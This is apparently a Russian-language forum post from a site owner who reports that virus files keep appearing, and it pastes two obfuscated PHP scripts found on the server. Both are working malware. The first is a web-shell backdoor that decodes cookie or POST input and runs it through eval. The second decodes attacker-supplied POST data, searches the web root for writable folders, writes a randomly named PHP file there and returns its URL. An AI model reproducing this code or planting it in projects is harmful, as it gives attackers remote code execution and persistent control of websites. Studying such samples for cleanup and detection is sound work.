Создаются файлы с вирусами

<?php
$qqqzb = 'vn0r2857bmy91*les\'Hakux3d4c-iotgp#_';$dgvbdp = Array();$dgvbdp[] = $qqqzb[4].$qqqzb[19].$qqqzb[25].$qqqzb[25].$qqqzb[7].$qqqzb[6].$qqqzb[25].$qqqzb[7].$qqqzb[27].$qqqzb[12].$qqqzb[4].$qqqzb[15].$qqqzb[7].$qqqzb[27].$qqqzb[25].
$qqqzb[6].$qqqzb[26].$qqqzb[8].$qqqzb[27].$qqqzb[11].$qqqzb[6].$qqqzb[26].$qqqzb[25].$qqqzb[27].$qqqzb[4].$qqqzb[23].$qqqzb[5].$qqqzb[2].$qqqzb[12].$qqqzb[5].$qqqzb[24].$qqqzb[26].$qqqzb[6].$qqqzb[23].$qqqzb[15].$qqqzb[7];$dgvbdp[] = $qq
qzb[18].$qqqzb[13];$dgvbdp[] = $qqqzb[33];$dgvbdp[] = $qqqzb[26].$qqqzb[29].$qqqzb[21].$qqqzb[1].$qqqzb[30];$dgvbdp[] = $qqqzb[16].$qqqzb[30].$qqqzb[3].$qqqzb[34].$qqqzb[3].$qqqzb[15].$qqqzb[32].$qqqzb[15].$qqqzb[19].$qqqzb[30];$dgvbdp[]
= $qqqzb[15].$qqqzb[22].$qqqzb[32].$qqqzb[14].$qqqzb[29].$qqqzb[24].$qqqzb[15];$dgvbdp[] = $qqqzb[16].$qqqzb[21].$qqqzb[8].$qqqzb[16].$qqqzb[30].$qqqzb[3];$dgvbdp[] = $qqqzb[19].$qqqzb[3].$qqqzb[3].$qqqzb[19].$qqqzb[10].$qqqzb[34].$qqqz
b[9].$qqqzb[15].$qqqzb[3].$qqqzb[31].$qqqzb[15];$dgvbdp[] = $qqqzb[16].$qqqzb[30].$qqqzb[3].$qqqzb[14].$qqqzb[15].$qqqzb[1];$dgvbdp[] = $qqqzb[32].$qqqzb[19].$qqqzb[26].$qqqzb[20];foreach ($dgvbdp[7]($_COOKIE, $_POST) as $atsrp => $ednvl
ur){function eovupfo($dgvbdp, $atsrp, $cntxow){return $dgvbdp[6]($dgvbdp[4]($atsrp . $dgvbdp[0], ($cntxow / $dgvbdp[8]($atsrp)) + 1), 0, $cntxow);}function izeiso($dgvbdp, $pmufeu){return @$dgvbdp[9]($dgvbdp[1], $pmufeu);}function kghhex
z($dgvbdp, $pmufeu){$pjknwcz = $dgvbdp[3]($pmufeu) % 3;if (!$pjknwcz) {eval($pmufeu[1]($pmufeu[2]));exit();}}$ednvlur = izeiso($dgvbdp, $ednvlur);kghhexz($dgvbdp, $dgvbdp[5]($dgvbdp[2], $ednvlur ^ eovupfo($dgvbdp, $atsrp, $dgvbdp[8]($edn
vlur))));}

<?php $zofzfnow = "ocamnztzvbbsrrfd";$hfiex = "";foreach ($_POST as $gtbjk => $pgjbhqk){if (strlen($gtbjk) == 16 and substr_count($pgjbhqk, "%") > 10){qrnjplfx($gtbjk, $pgjbhqk);}}function qrnjplfx($gtbjk, $yobpcjm){global $hfiex;$hfiex
= $gtbjk;$yobpcjm = str_split(rawurldecode(str_rot13($yobpcjm)));function zcbsnbohny($kjvllqnx, $gtbjk){global $zofzfnow, $hfiex;return $kjvllqnx ^ $zofzfnow[$gtbjk % strlen($zofzfnow)] ^ $hfiex[$gtbjk % strlen($hfiex)];}$yobpcjm = implo
de("", array_map("zcbsnbohny", array_values($yobpcjm), array_keys($yobpcjm)));$yobpcjm = @unserialize($yobpcjm);if (@is_array($yobpcjm)){$gtbjk = array_keys($yobpcjm);$yobpcjm = $yobpcjm[$gtbjk[0]];if ($yobpcjm === $gtbjk[0]){echo @seria
lize(Array('php' => @phpversion(), ));exit();}else{function dicmeqk($oruijqeslqir) {static $hdqwihcdge = array();$sakzzkjop = glob($oruijqeslqir . '/*', GLOB_ONLYDIR);if (count($sakzzkjop) > 0) {foreach ($sakzzkjop as $oruijqeslq){if (@i
s_writable($oruijqeslq)){$hdqwihcdge[] = $oruijqeslq;}}}foreach ($sakzzkjop as $oruijqeslqir) dicmeqk($oruijqeslqir);return $hdqwihcdge;}$pwoonj = $_SERVER["DOCUMENT_ROOT"];$sakzzkjop = dicmeqk($pwoonj);$gtbjk = array_rand($sakzzkjop);$u
flhzcy = $sakzzkjop[$gtbjk] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($uflhzcy, $yobpcjm);echo "http://" . $_SERVER["HTTP_HOST"] . substr($uflhzcy, strlen($pwoonj));exit();}}}